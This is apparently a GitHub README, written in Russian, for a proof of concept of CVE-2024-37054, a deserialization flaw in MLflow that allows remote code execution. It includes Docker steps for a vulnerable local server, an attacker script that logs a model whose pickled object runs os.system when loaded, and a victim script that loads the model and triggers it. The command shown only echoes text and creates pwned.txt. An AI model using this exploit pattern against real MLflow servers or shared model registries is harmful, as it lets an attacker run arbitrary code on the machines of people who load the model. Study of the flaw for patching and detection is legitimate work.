niteeshpujari/cve-2024-37054-mlflow-rceNiteeshPujari/CVE-2024-37054, Этот репозиторий содержит Proof of Concept (PoC) критической уязвимости десериализации в MLflow, которая позволяет выполнять удаленный код (RCE).
__ __ _ _____ _ ___ __ __
| \/ || | | ___|| | / _ \\ \ / /
| |\/| || | | |_ | | | | | |\ \ /\ / /
| | | || |___ | _| | |___| |_| | \ V V /
|_| |_||_____||_| |_____|\___/ \_/\_/
____ ____ _____ ____ ____
| _ \ / ___|| ____| | _ \ ___ / ___|
| |_) || | | _| | |_) |/ _ \ | |
| _ < | |___ | |___ | __/| (_) || |___
|_| \_\ \____||_____| |_| \___/ \____|
Этот репозиторий содержит Proof of Concept (PoC) для CVE-2024-37054 — критической уязвимости десериализации в MLflow, которая позволяет выполнять удаленный код (RCE).
CVE-2024-37054mlflow.pyfunc.load_model. Злоумышленник может создать вредоносную модель, содержащую сериализованный полезный payload. Когда жертва загружает эту модель, payload десериализуется с помощью cloudpickle.load, что приводит к выполнению произвольного кода на машине жертвы.0.9.0 до, но не включая, 2.14.2._load_pyfunc внутри mlflow/pyfunc/model.py.Этот PoC имитирует две роли: Атакующий, который загружает вредоносную модель, и Жертва, которая загружает её, что приводит к выполнению RCE.
Самый простой способ развернуть уязвимый сервер MLflow — использовать предоставленный Dockerfile.
Сборка и запуск Docker-контейнера:
# 1. Сборка образа Docker
docker build -t mlflow-vulnerable .
# 2. Запуск контейнера, проброс порта 5000 на хост
docker run -p 5000:5000 --name mlflow-poc-server -it mlflow-vulnerable
Теперь ваш уязвимый сервер MLflow работает по адресу http://127.0.0.1:5000.
Вам понадобятся два отдельных терминала на вашей хост-машине. Убедитесь, что у вас локально установлена уязвимая версия mlflow (pip install mlflow==2.14.1) для запуска клиентских скриптов.
В первом терминале выполните скрипт атакующего, чтобы загрузить вредоносную модель.
# poc/log_malicious_model.py
import mlflow
import os
# URI вашего MLflow tracking server
MLFLOW_TRACKING_URI = "http://127.0.0.1:5000"
REGISTERED_MODEL_NAME = "rce-payload-model"
class MaliciousCodeWrapper(mlflow.pyfunc.PythonModel):
def __init__(self):
class CommandRunner:
def __reduce__(self):
cmd = 'echo ">>> RCE PAYLOAD EXECUTED SUCCESSFULLY <<<" && echo > pwned.txt'
return (os.system, (cmd,))
self.payload = CommandRunner()
def predict(self, context, model_input):
return "This model is a malicious payload."
if __name__ == "__main__":
mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
mlflow.set_experiment("Security Demos")
with mlflow.start_run() as run:
mlflow.pyfunc.log_model(
artifact_path="model",
python_model=MaliciousCodeWrapper(),
registered_model_name=REGISTERED_MODEL_NAME
)
print(f"[*] Malicious model '{REGISTERED_MODEL_NAME}' has been logged.")
Запустите его:
python poc/log_malicious_model.py
Во втором терминале выполните скрипт жертвы, чтобы смоделировать загрузку скомпрометированной модели.
# poc/load_vulnerable_model.py
import mlflow
MLFLOW_TRACKING_URI = "http://127.0.0.1:5000"
REGISTERED_MODEL_NAME = "rce-payload-model"
MODEL_VERSION = 1
if __name__ == "__main__":
mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
model_uri = f"models:/{REGISTERED_MODEL_NAME}/{MODEL_VERSION}"
print(f"[*] VICTIM: Attempting to load model from URI: {model_uri}")
print("[*] The payload will execute on the next line...")
try:
loaded_model = mlflow.pyfunc.load_model(model_uri)
print("\n[*] Model loaded successfully.")
except Exception as e:
print(f"\n[!] An error occurred: {e}")
Запустите его:
python poc/load_vulnerable_model.py
После выполнения скрипта жертвы вы увидите сообщение /bin/sh: 1: >>> RCE PAYLOAD EXECUTED SUCCESSFULLY <<<: not found в терминале, а в вашем каталоге будет создан новый файл с именем pwned.txt. Это подтверждает успешное выполнение команды.
Это Proof of Concept разработал Pujari Niteesh.